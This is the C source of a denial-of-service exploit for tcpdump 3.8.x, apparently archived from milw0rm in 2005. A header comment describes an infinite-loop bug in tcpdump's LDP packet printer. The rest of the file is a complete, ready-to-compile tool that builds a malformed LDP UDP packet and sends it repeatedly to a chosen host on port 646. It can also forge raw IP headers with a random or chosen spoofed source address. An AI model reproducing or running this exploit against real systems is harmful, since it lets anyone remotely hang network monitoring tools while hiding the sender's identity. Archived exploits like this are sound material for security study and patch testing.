/*[ tcpdump[3.8.x]: (LDP) ldp_print() infinite loop DOS. ]*********
* *
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
* *
* compile: *
* gcc xtcpdump-ldp-dos.c -o xtcpdump-ldp-dos *
* *
* tcpdump homepage/URL: *
* http://www.tcpdump.org *
* *
* fix: *
* this appears to have been fixed in the alpha 3.9.x / CVS *
* versions. although i found no direct mention of the issue *
* itself being resolved, the code has been changed in a way to *
* not allow this to happen. *
* *
* Tcpdump is a program that allows you to dump the traffic on a *
* network. It can be used to print out the headers of packets on *
* a network interface that matches a given expression. You can *
* use this tool to track down network problems, to detect "ping *
* attacks" or to monitor the network activities. *
* *
* tcpdump(v3.8.3 and earlier versions) contains a remote denial *
* of service vulnerability in the form of a single (LDP) packet *
* causing an infinite loop. *
* *
* LDP is UDP(/TCP), so no LDP service has to actually be running *
* to abuse this issue, spoofed or not spoofed. depending on the *
* path the packet takes spoofed packets may be dropped(dropped *
* at your router most likely), in such a case non-spoofed *
* packets have the same effect, they just show your ip. *
* *
* some versions of tcpdump(depending on the platform/OS) need no *
* special command-line arguments to allow this to happen, *
* however most need the "-v" argument. *
******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif
/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif
/* will never need to be changed. */
#define LDP_PORT 646
#define DFL_AMOUNT 5
#define TIMEOUT 10
/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
struct iph{
#ifdef _USE_BIG_ENDIAN
unsigned char version:4,ihl:4;
#else
unsigned char ihl:4,version:4;
#endif
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
};
struct udph{
unsigned short source;
unsigned short dest;
unsigned short len;
unsigned short check;
};
struct sumh{
unsigned int saddr;
unsigned int daddr;
unsigned char fill;
unsigned char protocol;
unsigned short len;
};
/* malformed LDP data. (the bug) */
static char payload[]=
"\x00\x01\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\x00\x00\xff\xff\xff\xff";
/* prototypes. (and sig_alarm) */
void ldp_nospoof(unsigned int);
void ldp_spoof(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void printe(char *,signed char);
void sig_alarm(){printe("alarm/timeout hit.",1);}
/* begin. */
int main(int argc,char **argv) {
unsigned char nospoof=0;
unsigned int amt=DFL_AMOUNT;
unsigned int daddr=0,saddr=0;
printf("[*] tcpdump[3.8.x]: (LDP) ldp_print() infinite loop DOS."
"\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
if(argc<2){
printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n",
argv[0]);
printf("[*] syntax: %s <dst host> nospoof\n",argv[0]);
exit(1);
}
if(!(daddr=getip(argv[1])))
printe("invalid destination host/ip.",1);
if(argc>2){
if(strstr(argv[2],"nospoof"))nospoof=1;
else saddr=getip(argv[2]);
}
if(argc>3)amt=atoi(argv[3]);
if(!amt)printe("no packets?",1);
printf("[*] destination\t: %s\n",argv[1]);
if(!nospoof)
printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>"));
printf("[*] amount\t: %u\n\n",amt);
printf("[+] sending(packet = .): ");
fflush(stdout);
while(amt--){
/* spice things up. */
srandom(time(0)+amt);
if(nospoof)ldp_nospoof(daddr);
else ldp_spoof(daddr,saddr);
printf(".");
fflush(stdout);
usleep(50000);
}
printf("\n\n[*] done.\n");
fflush(stdout);
exit(0);
}
/* (non-spoofed) sends a (LDP) udp packet. */
void ldp_nospoof(unsigned int daddr){
signed int sock;
struct sockaddr_in sa;
sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sa.sin_family=AF_INET;
sa.sin_port=htons(LDP_PORT);
sa.sin_addr.s_addr=daddr;
if(sendto(sock,payload,sizeof(payload)-1,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<sizeof(payload)-1)
printe("failed to send non-spoofed LDP packet.",1);
close(sock);
return;
}
/* (spoofed) generates and sends a (LDP) udp packet. */
void ldp_spoof(unsigned int daddr,unsigned int saddr){
signed int sock=0,on=1;
unsigned int psize=0;
char *p,*s;
struct sockaddr_in sa;
struct iph ip;
struct udph udp;
struct sumh sum;
/* create raw (UDP) socket. */
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_UDP))<0)
printe("could not allocate raw socket.",1);
/* allow (on some systems) for the user-supplied ip header. */
#ifdef IP_HDRINCL
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
printe("could not set IP_HDRINCL socket option.",1);
#endif
sa.sin_family=AF_INET;
sa.sin_port=htons(LDP_PORT);
sa.sin_addr.s_addr=daddr;
psize=(sizeof(struct iph)+sizeof(struct udph)+sizeof(payload)-1);
memset(&ip,0,sizeof(struct iph));
memset(&udp,0,sizeof(struct udph));
/* values not filled = 0, from the memset() above. */
ip.ihl=5;
ip.version=4;
ip.tot_len=htons(psize);
ip.saddr=(saddr?saddr:random()%0xffffffff);
ip.daddr=daddr;
ip.ttl=(64*(random()%2+1));
ip.protocol=IPPROTO_UDP;
ip.frag_off=64;
udp.source=htons(random()%60000+1025);
udp.dest=htons(LDP_PORT);
udp.len=htons(sizeof(struct udph)+sizeof(payload)-1);
/* needed for (correct) checksums. */
sum.saddr=ip.saddr;
sum.daddr=ip.daddr;
sum.fill=0;
sum.protocol=ip.protocol;
sum.len=htons(sizeof(struct udph)+sizeof(payload)-1);
/* make sum/calc buffer for the udp checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct sumh)+sizeof(struct udph)
+sizeof(payload)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct sumh)+sizeof(struct udph)
+sizeof(payload)+1));
memcpy(s,&sum,sizeof(struct sumh));
memcpy(s+sizeof(struct sumh),&udp,sizeof(struct udph));
memcpy(s+sizeof(struct sumh)+sizeof(struct udph),
payload,sizeof(payload)-1);
udp.check=in_cksum((unsigned short *)s,
sizeof(struct sumh)+sizeof(struct udph)+sizeof(payload)-1);
free(s);
/* make sum/calc buffer for the ip checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct iph)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct iph)+1));
memcpy(s,&ip,sizeof(struct iph));
ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
free(s);
/* put the packet together. */
if(!(p=(char *)malloc(psize+1)))
printe("malloc() failed.",1);
memset(p,0,psize);
memcpy(p,&ip,sizeof(struct iph));
memcpy(p+sizeof(struct iph),&udp,sizeof(struct udph));
memcpy(p+(sizeof(struct iph)+sizeof(struct udph)),
payload,sizeof(payload));
/* send the malformed LDP packet. */
if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<psize)
printe("failed to send forged LDP packet.",1);
free(p);
return;
}
/* standard method for creating TCP/IP checksums. */
unsigned short in_cksum(unsigned short *addr,signed int len){
unsigned short answer=0;
register unsigned short *w=addr;
register int nleft=len,sum=0;
while(nleft>1){
sum+=*w++;
nleft-=2;
}
if(nleft==1){
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
/* gets the ip from a host/ip/numeric. */
unsigned int getip(char *host){
struct hostent *t;
unsigned int s=0;
if((s=inet_addr(host))){
if((t=gethostbyname(host)))
memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
}
if(s==-1)s=0;
return(s);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
printf("[!] %s\n",err);
if(e)exit(e);
return;
}
// milw0rm.com [2005-04-26]
